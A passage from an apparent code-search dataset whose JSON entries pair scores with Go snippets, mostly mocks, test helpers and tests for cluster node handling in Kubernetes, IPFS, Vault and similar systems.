{\n\t\tos.RemoveAll(parent)\n\t}\n\n\tallocDir := filepath.Join(parent, \"allocs\")\n\tif err := os.Mkdir(allocDir, 0777); err != nil {\n\t\tcleanup()\n\t\tt.Fatalf(\"error creating alloc dir: %v\", err)\n\t}\n\tconf.AllocDir = allocDir\n\n\tstateDir := filepath.Join(parent, \"client\")\n\tif err := os.Mkdir(stateDir, 0777); err != nil {\n\t\tcleanup()\n\t\tt.Fatalf(\"error creating alloc dir: %v\", err)\n\t}\n\tconf.StateDir = stateDir\n\n\t// Use a minimal chroot environment\n\tconf.ChrootEnv = ci.TinyChroot\n\n\t// Helps make sure we are respecting configured parent\n\tconf.CgroupParent = \"testing.slice\"\n\n\tconf.VaultConfig.Enabled = pointer.Of(false)\n\tconf.DevMode = true\n\n\t// Loosen GC threshold\n\tconf.GCDiskUsageThreshold = 98.0\n\tconf.GCInodeUsageThreshold = 98.0\n\n\t// Same as default; necessary for task Event messages\n\tconf.MaxKillTimeout = 30 * time.Second\n\n\treturn conf, cleanup\n}", "title": "" }, { "docid": "37e5fb584a54ee89a9b1811021ce96a5", "score": "0.52399445", "text": "func (m *MockNodeEventHandler) CreateNode(obj *v1.Node) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"CreateNode\", obj)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "8b8819a651fdb4c57a6bfa5e892c95b5", "score": "0.5238932", "text": "func NewNodeKeeperMock(t minimock.Tester) *NodeKeeperMock {\n\tm := &NodeKeeperMock{t: t}\n\n\tif controller, ok := t.(minimock.MockController); ok {\n\t\tcontroller.RegisterMocker(m)\n\t}\n\n\tm.GetAccessorMock = mNodeKeeperMockGetAccessor{mock: m}\n\tm.GetClaimQueueMock = mNodeKeeperMockGetClaimQueue{mock: m}\n\tm.GetCloudHashMock = mNodeKeeperMockGetCloudHash{mock: m}\n\tm.GetConsensusInfoMock = mNodeKeeperMockGetConsensusInfo{mock: m}\n\tm.GetOriginMock = mNodeKeeperMockGetOrigin{mock: m}\n\tm.GetOriginAnnounceClaimMock = mNodeKeeperMockGetOriginAnnounceClaim{mock: m}\n\tm.GetOriginJoinClaimMock = mNodeKeeperMockGetOriginJoinClaim{mock: m}\n\tm.GetSnapshotCopyMock = mNodeKeeperMockGetSnapshotCopy{mock: m}\n\tm.GetWorkingNodeMock = mNodeKeeperMockGetWorkingNode{mock: m}\n\tm.GetWorkingNodesMock = mNodeKeeperMockGetWorkingNodes{mock: m}\n\tm.GetWorkingNodesByRoleMock = mNodeKeeperMockGetWorkingNodesByRole{mock: m}\n\tm.IsBootstrappedMock = mNodeKeeperMockIsBootstrapped{mock: m}\n\tm.MoveSyncToActiveMock = mNodeKeeperMockMoveSyncToActive{mock: m}\n\tm.SetCloudHashMock = mNodeKeeperMockSetCloudHash{mock: m}\n\tm.SetInitialSnapshotMock = mNodeKeeperMockSetInitialSnapshot{mock: m}\n\tm.SetIsBootstrappedMock = mNodeKeeperMockSetIsBootstrapped{mock: m}\n\tm.SyncMock = mNodeKeeperMockSync{mock: m}\n\n\treturn m\n}", "title": "" }, { "docid": "d87706b3f8553ffe2e1fc2bb7654a381", "score": "0.5238403", "text": "func testingIPFSNode(ctx context.Context, t *testing.T, m mocknet.Mocknet) (*ipfsCore.IpfsNode, cleanFunc) {\n\tt.Helper()\n\n\tcore, err := ipfsCore.NewNode(ctx, &ipfsCore.BuildCfg{\n\t\tOnline: true,\n\t\tHost: mock.MockHostOption(m),\n\t\tExtraOpts: map[string]bool{\n\t\t\t\"pubsub\": true,\n\t\t},\n\t})\n\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\treturn core, func() {\n\t\tcore.Close()\n\t}\n}", "title": "" }, { "docid": "c384e4e1d2226233d32fc12cc868508a", "score": "0.52279454", "text": "func (m *CordonManagerImpl) Cordon(ctx context.Context, node *corev1.Node) error {\n\thelper := &drain.Helper{Ctx: ctx, Client: m.k8sInterface}\n\treturn drain.RunCordonOrUncordon(helper, node, true)\n}", "title": "" }, { "docid": "d1b7aaaf961ff4f15c29b16710d075f1", "score": "0.52218306", "text": "func TestNodeServiceSidecar(t testing.T) *NodeService {\n\treturn &NodeService{\n\t\tService: \"web\",\n\t\tPort: 2222,\n\t\tConnect: ServiceConnect{\n\t\t\tSidecarService: &ServiceDefinition{},\n\t\t},\n\t}\n}", "title": "" }, { "docid": "363e767cf8090b6b53887a20d05cfc4b", "score": "0.52207667", "text": "func BuildTestNode(opts NodeOpts) *apiv1.Node {\n\n\tvar taints []apiv1.Taint\n\tif opts.Tainted {\n\t\ttaints = append(taints, apiv1.Taint{\n\t\t\tKey: \"atlassian.com/escalator\",\n\t\t\tValue: fmt.Sprint(time.Now().Unix()),\n\t\t\tEffect: apiv1.TaintEffectNoSchedule,\n\t\t})\n\t}\n\n\tnode := &apiv1.Node{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: opts.Name,\n\t\t\tSelfLink: fmt.Sprintf(\"/api/v1/nodes/%s\", opts.Name),\n\t\t\tLabels: map[string]string{\n\t\t\t\topts.LabelKey: opts.LabelValue,\n\t\t\t},\n\t\t\tCreationTimestamp: metav1.NewTime(opts.Creation),\n\t\t},\n\t\tSpec: apiv1.NodeSpec{\n\t\t\tProviderID: opts.Name,\n\t\t\tTaints: taints,\n\t\t},\n\t\tStatus: apiv1.NodeStatus{\n\t\t\tCapacity: apiv1.ResourceList{\n\t\t\t\tapiv1.ResourcePods: *resource.NewPodQuantity(100),\n\t\t\t},\n\t\t},\n\t}\n\n\tif opts.CPU >= 0 {\n\t\tnode.Status.Capacity[apiv1.ResourceCPU] = *resource.NewCPUQuantity(opts.CPU)\n\t}\n\tif opts.Mem >= 0 {\n\t\tnode.Status.Capacity[apiv1.ResourceMemory] = *resource.NewMemoryQuantity(opts.Mem)\n\t}\n\n\tnode.Status.Allocatable = apiv1.ResourceList{}\n\tfor k, v := range node.Status.Capacity {\n\t\tnode.Status.Allocatable[k] = v\n\t}\n\n\treturn node\n}", "title": "" }, { "docid": "5b7dfd211b7d43089ebeafbb1bd4eeeb", "score": "0.5220291", "text": "func (m *MockConnector) NodeDirectedTarget(collective, identity string) string {\n\tret := m.ctrl.Call(m, \"NodeDirectedTarget\", collective, identity)\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "title": "" }, { "docid": "e15e4820800c51850e08c7b2e16eb1b1", "score": "0.52192265", "text": "func TestNodes(t *testing.T) {\n\tc := context.Background()\n\teclient := testutil.NewEtcdV3Client(t)\n\tkvc := etcdv3.NewKV(eclient)\n\t_, _ = eclient.Delete(c, Node1Path, etcdv3.WithPrefix())\n\n\tmclient := NewClient(Namespace, eclient)\n\n\tif _, err := kvc.Put(c, Node1Path, \"0\"); err != nil {\n\t\tt.Fatalf(\"AddChild %v returned error: %v\", NodesDir, err)\n\t}\n\n\tif nodes, err := mclient.Nodes(); err != nil {\n\t\tt.Fatalf(\"Nodes returned error: %v\", err)\n\t} else {\n\t\tfor i, n := range nodes {\n\t\t\tt.Logf(\"%v -> %v\", i, n)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "02123a8d765c8526c23c761741221938", "score": "0.52071327", "text": "func (m *MockInstanceConnector) NodeDirectedTarget(collective, identity string) string {\n\tret := m.ctrl.Call(m, \"NodeDirectedTarget\", collective, identity)\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "title": "" }, { "docid": "544f4fc24494527a7d119d7ea55f4109", "score": "0.5206754", "text": "func (m *MockUniversalClient) ClusterNodes() *redis.StringCmd {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ClusterNodes\")\n\tret0, _ := ret[0].(*redis.StringCmd)\n\treturn ret0\n}", "title": "" }, { "docid": "d1218e2ec6900a54e768eb01a04a23d2", "score": "0.5195391", "text": "func (m *MockNode) GetConnection() *grpc.ClientConn { return m.Conn }", "title": "" }, { "docid": "764bbb9dbf32bc63e25bcfea03aacd4c", "score": "0.51952314", "text": "func (m *MockClientsFactory) NodeManagerClient() (manager.NodeManagerServiceClient, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"NodeManagerClient\")\n\tret0, _ := ret[0].(manager.NodeManagerServiceClient)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "78d78935b67442e58f950bdb8bac29f1", "score": "0.51838803", "text": "func (m *MockOrchestrator) AddNode(arg0 context.Context, arg1 *utils.Node, arg2 core.NodeEventCallback) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"AddNode\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "0b563e722e848a0fbe7432e501ddbc4d", "score": "0.51762885", "text": "func Cordon(client typedcorev1.NodeInterface, node *corev1.Node) error {\n\treturn cordonOrUncordon(client, node, true)\n}", "title": "" }, { "docid": "9268341fa63cedbe6e5e5818f33d4fc0", "score": "0.5174448", "text": "func assertNodeStatus(t *testing.T, host ssh.Host, bastionHost *ssh.Host, expectedStatus VaultStatus) {\n\n\tmaxRetries := 30\n\tsleepBetweenRetries := 10 * time.Second\n\tdescription := fmt.Sprintf(\"Check that the Vault node %s has status %d\", host.Hostname, int(expectedStatus))\n\n\tout := retry.DoWithRetry(t, description, maxRetries, sleepBetweenRetries, func() (string, error) {\n\t\treturn checkStatus(t, host, bastionHost, expectedStatus)\n\t})\n\n\tlogger.Logf(t, out)\n}", "title": "" }, { "docid": "aadee9bd5df72ca8daf1ce0103d25c8f", "score": "0.5173646", "text": "func Test_ClusterStat(t *testing.T) {\n test := setup(t)\n defer teardown(t, test)\n\n err := test.rados.Stat()\n fatalOnError(t, err, \"Stat\")\n}", "title": "" }, { "docid": "06b4a11f48909b9c4a9c74029a0aa679", "score": "0.51682407", "text": "func TestNodeNew(t *testing.T) {\n\tlocal := NewLocalTest()\n\tdefer local.CloseAll()\n\n\thosts, _, tree := local.GenTree(2, true)\n\th1 := hosts[0]\n\t// Try directly StartNewNode\n\tproto, err := h1.StartProtocol(testProto, tree)\n\tif err != nil {\n\t\tt.Fatal(\"Could not start new protocol\", err)\n\t}\n\tp := proto.(*ProtocolTest)\n\tm := <-p.DispMsg\n\tif m != \"Dispatch\" {\n\t\tt.Fatal(\"Dispatch() not called - msg is:\", m)\n\t}\n\tm = <-p.StartMsg\n\tif m != \"Start\" {\n\t\tt.Fatal(\"Start() not called - msg is:\", m)\n\t}\n}", "title": "" }, { "docid": "021e031edcca2c3d7729cb6387b4ddaa", "score": "0.515583", "text": "func NewNodesMock() *NodesMock {\n\treturn &NodesMock{\n\t\tnodes: make(map[string]*libapiv3.Node),\n\t}\n}", "title": "" }, { "docid": "a989e5b626455921785057b1d1140ff9", "score": "0.51512724", "text": "func TestIstioClusterNode(t *testing.T) {\n\ttestNodeCreation(t, nil, nil, istio.Manager, \"cluster\", istio.ClusterName)\n}", "title": "" }, { "docid": "fd36a7599e8b1f13f8f89b780f7dc8db", "score": "0.51503545", "text": "func (m *MockOrchestrator) PeriodicallyReconcileNodeAccessOnBackends() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"PeriodicallyReconcileNodeAccessOnBackends\")\n}", "title": "" }, { "docid": "147ed1743e57ec9cc9f38439edb68046", "score": "0.51431125", "text": "func TestNodeProviderID(t *testing.T) {\n\tctrl := gomock.NewController(t)\n\tdefer ctrl.Finish()\n\n\tfnh := &testutil.FakeNodeHandler{\n\t\tExisting: []*v1.Node{\n\t\t\t{\n\t\t\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\t\t\tName: \"node0\",\n\t\t\t\t\tCreationTimestamp: metav1.Date(2012, 1, 1, 0, 0, 0, 0, time.UTC),\n\t\t\t\t\tLabels: map[string]string{},\n\t\t\t\t},\n\t\t\t\tStatus: v1.NodeStatus{\n\t\t\t\t\tConditions: []v1.NodeCondition{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tType: v1.NodeReady,\n\t\t\t\t\t\t\tStatus: v1.ConditionUnknown,\n\t\t\t\t\t\t\tLastHeartbeatTime: metav1.Date(2015, 1, 1, 12, 0, 0, 0, time.UTC),\n\t\t\t\t\t\t\tLastTransitionTime: metav1.Date(2015, 1, 1, 12, 0, 0, 0, time.UTC),\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tSpec: v1.NodeSpec{\n\t\t\t\t\tTaints: []v1.Taint{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: \"ImproveCoverageTaint\",\n\t\t\t\t\t\t\tValue: \"true\",\n\t\t\t\t\t\t\tEffect: v1.TaintEffectNoSchedule,\n\t\t\t\t\t\t},\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tKey: cloudproviderapi.TaintExternalCloudProvider,\n\t\t\t\t\t\t\tValue: \"true\",\n\t\t\t\t\t\t\tEffect: v1.TaintEffectNoSchedule,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\tClientset: fake.NewSimpleClientset(&v1.PodList{}),\n\t\tDeleteWaitChan: make(chan struct{}),\n\t}\n\n\tctx := context.TODO()\n\tfactory := informers.NewSharedInformerFactory(fnh, 0)\n\tmockNP := mocknodeprovider.NewMockNodeProvider(ctrl)\n\tmockNP.EXPECT().InstanceID(ctx, types.NodeName(\"node0\")).Return(\"test:///12345\", nil)\n\tmockNP.EXPECT().InstanceType(ctx, types.NodeName(\"node0\")).Return(\"Standard_D2_v3\", nil)\n\tmockNP.EXPECT().GetZone(ctx, gomock.Any()).Return(cloudprovider.Zone{\n\t\tRegion: \"eastus\",\n\t\tFailureDomain: \"eastus-1\",\n\t}, nil)\n\tmockNP.EXPECT().NodeAddresses(ctx, types.NodeName(\"node0\")).Return([]v1.NodeAddress{\n\t\t{\n\t\t\tType: v1.NodeHostName,\n\t\t\tAddress: \"node0\",\n\t\t},\n\t\t{\n\t\t\tType: v1.NodeInternalIP,\n\t\t\tAddress: \"10.0.0.1\",\n\t\t},\n\t\t{\n\t\t\tType: v1.NodeExternalIP,\n\t\t\tAddress: \"132.143.154.163\",\n\t\t},\n\t}, nil).AnyTimes()\n\tmockNP.EXPECT().GetPlatformSubFaultDomain().Return(\"\", nil).AnyTimes()\n\n\teventBroadcaster := record.NewBroadcaster()\n\tcloudNodeController := &CloudNodeController{\n\t\tkubeClient: fnh,\n\t\tnodeInformer: factory.Core().V1().Nodes(),\n\t\tnodeName: \"node0\",\n\t\tnodeProvider: mockNP,\n\t\tnodeStatusUpdateFrequency: 1 * time.Second,\n\t\trecorder: eventBroadcaster.NewRecorder(scheme.Scheme, v1.EventSource{Component: \"cloud-node-controller\"}),\n\t}\n\teventBroadcaster.StartLogging(klog.Infof)\n\n\tcloudNodeController.AddCloudNode(context.TODO(), fnh.Existing[0])\n\n\tassert.Equal(t, 1, len(fnh.UpdatedNodes), \"Node was not updated\")\n\tassert.Equal(t, \"node0\", fnh.UpdatedNodes[0].Name, \"Node was not updated\")\n\tassert.Equal(t, \"test:///12345\", fnh.UpdatedNodes[0].Spec.ProviderID, \"Node ProviderID not set correctly\")\n}", "title": "" }, { "docid": "e4ca6653957423b998867e9a74779b85", "score": "0.5133226", "text": "func newHTTPClientMock(t minimock.Tester) *httpClientMock {\n\tm := &httpClientMock{t: t}\n\n\tif controller, ok := t.(minimock.MockController); ok {\n\t\tcontroller.RegisterMocker(m)\n\t}\n\n\tm.DoMock = mhttpClientMockDo{mock: m}\n\n\treturn m\n}", "title": "" }, { "docid": "c12484b7ec5912f480ed862514c4cc66", "score": "0.5129042", "text": "func (_m *MockConnectionStream) Connect() {\n\t_m.ctrl.Call(_m, \"Connect\")\n}", "title": "" }, { "docid": "4475e506bbe4d3c9d19f503de38801e9", "score": "0.51208216", "text": "func newMockConn(address, scheme, username, password string, config *Config) mcConn {\n\tid_mod := strings.Split(strings.Split(address, \":\")[0], \"-\")\n\tid := id_mod[0]\n\tmod := 1\n\tif len(id_mod) > 1 {\n\t\tvar err error\n\t\tmod, err = strconv.Atoi(id_mod[1])\n\t\tif err != nil {\n\t\t\tmod = 1\n\t\t}\n\t}\n\n\tmockConn := &mockConn{\n\t\tserverId: id,\n\t\tsuccessMod: mod,\n\t}\n\treturn mockConn\n}", "title": "" }, { "docid": "238ad632d2961b3c0b6cc9fc15da9fb0", "score": "0.5114489", "text": "func testDialRPC(port int) dialRPC {\n\treturn func(member *serf.Member) (*client, error) {\n\t\taddr := fmt.Sprintf(\":%d\", port)\n\t\tclient, err := NewClient(addr)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn client, err\n\t}\n}", "title": "" }, { "docid": "2dea0c3e35a9431ec0ce77fa99941919", "score": "0.5114182", "text": "func newMockedClient(ctx context.Context) *Client {\n\tclient := NewClient(clientName, clientVersion)\n\t// Override locate to return a fake IP address\n\tclient.locate = func(ctx context.Context, c *mlabns.Client) (string, error) {\n\t\treturn \"127.0.0.1\", nil\n\t}\n\t// Override connect to return a fake websocket connection\n\tclient.connect = func(\n\t\tdialer websocket.Dialer, ctx context.Context, urlStr string,\n\t\trequestHeader http.Header) (*websocket.Conn, *http.Response, error,\n\t) {\n\t\treturn &websocket.Conn{}, &http.Response{}, nil\n\t}\n\t// Override the download function to basically do nothing\n\tclient.download = func(\n\t\tctx context.Context, conn websocketx.Conn, ch chan<- spec.Measurement,\n\t) error {\n\t\tclose(ch)\n\t\t// Note that we cannot close the websocket connection because\n\t\t// it's just a zero initialized connection (see above)\n\t\treturn nil\n\t}\n\tclient.upload = client.download\n\treturn client\n}", "title": "" }, { "docid": "1947d0f348ed51544fddc9c056a9c56d", "score": "0.5113656", "text": "func (m *mConsensusNetworkMockGetNodeID) Expect() *mConsensusNetworkMockGetNodeID {\n\tm.mock.GetNodeIDFunc = nil\n\tm.expectationSeries = nil\n\n\tif m.mainExpectation == nil {\n\t\tm.mainExpectation = &ConsensusNetworkMockGetNodeIDExpectation{}\n\t}\n\n\treturn m\n}", "title": "" }, { "docid": "8c8f4eda18f24ac4a47cf0d60c467872", "score": "0.51101565", "text": "func (m *mAccessorMockGetActiveNode) Expect(p insolar.Reference) *mAccessorMockGetActiveNode {\n\tm.mock.GetActiveNodeFunc = nil\n\tm.expectationSeries = nil\n\n\tif m.mainExpectation == nil {\n\t\tm.mainExpectation = &AccessorMockGetActiveNodeExpectation{}\n\t}\n\tm.mainExpectation.input = &AccessorMockGetActiveNodeInput{p}\n\treturn m\n}", "title": "" }, { "docid": "14a34f7d31734c13de40c1aa79b6ea6f", "score": "0.5109818", "text": "func (m *NodeKeeperMock) MinimockWait(timeout time.Duration) {\n\ttimeoutCh := time.After(timeout)\n\tfor {\n\t\tok := true\n\t\tok = ok && m.GetAccessorFinished()\n\t\tok = ok && m.GetClaimQueueFinished()\n\t\tok = ok && m.GetCloudHashFinished()\n\t\tok = ok && m.GetConsensusInfoFinished()\n\t\tok = ok && m.GetOriginFinished()\n\t\tok = ok && m.GetOriginAnnounceClaimFinished()\n\t\tok = ok && m.GetOriginJoinClaimFinished()\n\t\tok = ok && m.GetSnapshotCopyFinished()\n\t\tok = ok && m.GetWorkingNodeFinished()\n\t\tok = ok && m.GetWorkingNodesFinished()\n\t\tok = ok && m.GetWorkingNodesByRoleFinished()\n\t\tok = ok && m.IsBootstrappedFinished()\n\t\tok = ok && m.MoveSyncToActiveFinished()\n\t\tok = ok && m.SetCloudHashFinished()\n\t\tok = ok && m.SetInitialSnapshotFinished()\n\t\tok = ok && m.SetIsBootstrappedFinished()\n\t\tok = ok && m.SyncFinished()\n\n\t\tif ok {\n\t\t\treturn\n\t\t}\n\n\t\tselect {\n\t\tcase <-timeoutCh:\n\n\t\t\tif !m.GetAccessorFinished() {\n\t\t\t\tm.t.Error(\"Expected call to NodeKeeperMock.GetAccessor\")\n\t\t\t}\n\n\t\t\tif !m.GetClaimQueueFinished() {\n\t\t\t\tm.t.Error(\"Expected call to NodeKeeperMock.GetClaimQueue\")\n\t\t\t}\n\n\t\t\tif !m.GetCloudHashFinished() {\n\t\t\t\tm.t.Error(\"Expected call to NodeKeeperMock.GetCloudHash\")\n\t\t\t}\n\n\t\t\tif !m.GetConsensusInfoFinished() {\n\t\t\t\tm.t.Error(\"Expected call to NodeKeeperMock.GetConsensusInfo\")\n\t\t\t}\n\n\t\t\tif !m.GetOriginFinished() {\n\t\t\t\tm.t.Error(\"Expected call to NodeKeeperMock.GetOrigin\")\n\t\t\t}\n\n\t\t\tif !m.GetOriginAnnounceClaimFinished() {\n\t\t\t\tm.t.Error(\"Expected call to NodeKeeperMock.GetOriginAnnounceClaim\")\n\t\t\t}\n\n\t\t\tif !m.GetOriginJoinClaimFinished() {\n\t\t\t\tm.t.Error(\"Expected call to NodeKeeperMock.GetOriginJoinClaim\")\n\t\t\t}\n\n\t\t\tif !m.GetSnapshotCopyFinished() {\n\t\t\t\tm.t.Error(\"Expected call to NodeKeeperMock.GetSnapshotCopy\")\n\t\t\t}\n\n\t\t\tif !m.GetWorkingNodeFinished() {\n\t\t\t\tm.t.Error(\"Expected call to NodeKeeperMock.GetWorkingNode\")\n\t\t\t}\n\n\t\t\tif !m.GetWorkingNodesFinished() {\n\t\t\t\tm.t.Error(\"Expected call to NodeKeeperMock.GetWorkingNodes\")\n\t\t\t}\n\n\t\t\tif !m.GetWorkingNodesByRoleFinished() {\n\t\t\t\tm.t.Error(\"Expected call to NodeKeeperMock.GetWorkingNodesByRole\")\n\t\t\t}\n\n\t\t\tif !m.IsBootstrappedFinished() {\n\t\t\t\tm.t.Error(\"Expected call to NodeKeeperMock.IsBootstrapped\")\n\t\t\t}\n\n\t\t\tif !m.MoveSyncToActiveFinished() {\n\t\t\t\tm.t.Error(\"Expected call to NodeKeeperMock.MoveSyncToActive\")\n\t\t\t}\n\n\t\t\tif !m.SetCloudHashFinished() {\n\t\t\t\tm.t.Error(\"Expected call to NodeKeeperMock.SetCloudHash\")\n\t\t\t}\n\n\t\t\tif !m.SetInitialSnapshotFinished() {\n\t\t\t\tm.t.Error(\"Expected call to NodeKeeperMock.SetInitialSnapshot\")\n\t\t\t}\n\n\t\t\tif !m.SetIsBootstrappedFinished() {\n\t\t\t\tm.t.Error(\"Expected call to NodeKeeperMock.SetIsBootstrapped\")\n\t\t\t}\n\n\t\t\tif !m.SyncFinished() {\n\t\t\t\tm.t.Error(\"Expected call to NodeKeeperMock.Sync\")\n\t\t\t}\n\n\t\t\tm.t.Fatalf(\"Some mocks were not called on time: %s\", timeout)\n\t\t\treturn\n\t\tdefault:\n\t\t\ttime.Sleep(time.Millisecond)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "61bba11b802e2cae4ad468cb52624c4a", "score": "0.5096103", "text": "func (m *MockNodePoolClientInterface) GetNode(ip string) (*clustermanager.Node, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetNode\", ip)\n\tret0, _ := ret[0].(*clustermanager.Node)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "dc4bfee16596bf6d77b0fbfd163695b8", "score": "0.50954896", "text": "func TestPlantMockResponse(t *testing.T) {\n\n\texpected := &PlantOrderResponse{\n\t\tAmount: 0.12,\n\t\tCurrency: \"USD\",\n\t\tName: \"Customer #123\",\n\t\tTreeURL: \"https://ecologi.com/\" + defaultTestUsername + \"?tree=000000000000000000000000\",\n\t}\n\tdefer gock.Off() // Flush pending mocks after test execution\n\n\tgock.New(\"https://public.ecologi.com\").\n\t\tPost(\"/impact/trees\").\n\t\tReply(201).\n\t\tJSON(PlantOrderResponse{\n\t\t\tAmount: 0.12,\n\t\t\tCurrency: \"USD\",\n\t\t\tName: \"Customer #123\",\n\t\t\tTreeURL: \"https://ecologi.com/\" + defaultTestUsername + \"?tree=000000000000000000000000\",\n\t\t})\n\n\ttoken := defaultDummyAPIToken\n\tc, err := NewClient(nil, &token)\n\n\tgock.InterceptClient(c.HTTPClient)\n\n\tassert.NoError(t, err)\n\n\tresp, err := c.Plant(1, \"Customer #123\", false)\n\n\tassert.NoError(t, err)\n\n\tassert.Equal(t, expected, resp)\n\n}", "title": "" }, { "docid": "78b608e0cffe20fafa15df4d4d9aea4d", "score": "0.5093998", "text": "func TestNewConsumer(t *testing.T) {}", "title": "" }, { "docid": "dd3ce9cf1d42298f6a4142ad27956c27", "score": "0.5093504", "text": "func (m *MockOps) CreateNode(arg0 *v1.Node) (*v1.Node, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"CreateNode\", arg0)\n\tret0, _ := ret[0].(*v1.Node)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "730cae3ca0bf253db07825fb7a58704b", "score": "0.509247", "text": "func (m *mAccessorMockGetWorkingNodes) Expect() *mAccessorMockGetWorkingNodes {\n\tm.mock.GetWorkingNodesFunc = nil\n\tm.expectationSeries = nil\n\n\tif m.mainExpectation == nil {\n\t\tm.mainExpectation = &AccessorMockGetWorkingNodesExpectation{}\n\t}\n\n\treturn m\n}", "title": "" }, { "docid": "0484c93660ce0d8a9fa0771541391edf", "score": "0.5080864", "text": "func (m *mNodeKeeperMockGetWorkingNodes) Expect() *mNodeKeeperMockGetWorkingNodes {\n\tm.mock.GetWorkingNodesFunc = nil\n\tm.expectationSeries = nil\n\n\tif m.mainExpectation == nil {\n\t\tm.mainExpectation = &NodeKeeperMockGetWorkingNodesExpectation{}\n\t}\n\n\treturn m\n}", "title": "" }, { "docid": "b881396915dbd1e5381ca741f44d076b", "score": "0.5067855", "text": "func BuildTestNode(name string, millicpu int64, mem int64, pods int64, apply func(*v1.Node)) *v1.Node {\n\tnode := &v1.Node{\n\t\tObjectMeta: metav1.ObjectMeta{\n\t\t\tName: name,\n\t\t\tSelfLink: fmt.Sprintf(\"/api/v1/nodes/%s\", name),\n\t\t\tLabels: map[string]string{},\n\t\t},\n\t\tStatus: v1.NodeStatus{\n\t\t\tCapacity: v1.ResourceList{\n\t\t\t\tv1.ResourcePods: *resource.NewQuantity(pods, resource.DecimalSI),\n\t\t\t\tv1.ResourceCPU: *resource.NewMilliQuantity(millicpu, resource.DecimalSI),\n\t\t\t\tv1.ResourceMemory: *resource.NewQuantity(mem, resource.DecimalSI),\n\t\t\t},\n\t\t\tAllocatable: v1.ResourceList{\n\t\t\t\tv1.ResourcePods: *resource.NewQuantity(pods, resource.DecimalSI),\n\t\t\t\tv1.ResourceCPU: *resource.NewMilliQuantity(millicpu, resource.DecimalSI),\n\t\t\t\tv1.ResourceMemory: *resource.NewQuantity(mem, resource.DecimalSI),\n\t\t\t},\n\t\t\tPhase: v1.NodeRunning,\n\t\t\tConditions: []v1.NodeCondition{\n\t\t\t\t{Type: v1.NodeReady, Status: v1.ConditionTrue},\n\t\t\t},\n\t\t},\n\t}\n\tif apply != nil {\n\t\tapply(node)\n\t}\n\treturn node\n}", "title": "" }, { "docid": "48593433712bfb87139c0c084a08caa8", "score": "0.50668675", "text": "func (cm *ClusterManager) CordonNode(ctx context.Context,\n\treq *cmproto.CordonNodeRequest, resp *cmproto.CordonNodeResponse) error {\n\treqID, err := requestIDFromContext(ctx)\n\tif err != nil {\n\t\treturn err\n\t}\n\tstart := time.Now()\n\tca := node.NewCordonNodeAction(cm.model, cm.kubeOp)\n\tca.Handle(ctx, req, resp)\n\tmetrics.ReportAPIRequestMetric(\"CordonNode\", \"grpc\", strconv.Itoa(int(resp.Code)), start)\n\tblog.Infof(\"reqID: %s, action: CordonNode, req %v, resp %v\", reqID, req, resp)\n\treturn nil\n}", "title": "" }, { "docid": "5c5f5d298cb040f7e779037f822aa4a7", "score": "0.5059753", "text": "func (m *MockInterfaceDummyNodeB) result() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"result\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "title": "" }, { "docid": "70ff428312591a9a868d3d40f53d1961", "score": "0.50585383", "text": "func (m *MockInterface) AliveNodes() sets.Set[string] {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"AliveNodes\")\n\tret0, _ := ret[0].(sets.Set[string])\n\treturn ret0\n}", "title": "" }, { "docid": "d6df5d21e6935e29421b24ce4f8feb5c", "score": "0.5058037", "text": "func TestReadStatusStore(t *testing.T, rss hydrocarbon.ReadStatusStore) {\n\n}", "title": "" }, { "docid": "5811c30bbc388ee0f76130c9d01cedd2", "score": "0.5057799", "text": "func (m *mNodeKeeperMockGetWorkingNodesByRole) Expect(p insolar.DynamicRole) *mNodeKeeperMockGetWorkingNodesByRole {\n\tm.mock.GetWorkingNodesByRoleFunc = nil\n\tm.expectationSeries = nil\n\n\tif m.mainExpectation == nil {\n\t\tm.mainExpectation = &NodeKeeperMockGetWorkingNodesByRoleExpectation{}\n\t}\n\tm.mainExpectation.input = &NodeKeeperMockGetWorkingNodesByRoleInput{p}\n\treturn m\n}", "title": "" }, { "docid": "08927243f8b664bdf486ae49c6c16e8f", "score": "0.5055595", "text": "func NewMockNodeSync(thisNodeName string) *MockNodeSync {\n\treturn &MockNodeSync{\n\t\tthisNodeName: thisNodeName,\n\t\tnodes: make(nodesync.Nodes),\n\t}\n}", "title": "" }, { "docid": "a301f01a9f36e90d628674e9a8280ca8", "score": "0.50375694", "text": "func (_m *MockNodeClient) EXPECT() *MockNodeClientMockRecorder {\n\treturn _m.recorder\n}", "title": "" }, { "docid": "a301f01a9f36e90d628674e9a8280ca8", "score": "0.50375694", "text": "func (_m *MockNodeClient) EXPECT() *MockNodeClientMockRecorder {\n\treturn _m.recorder\n}", "title": "" }, { "docid": 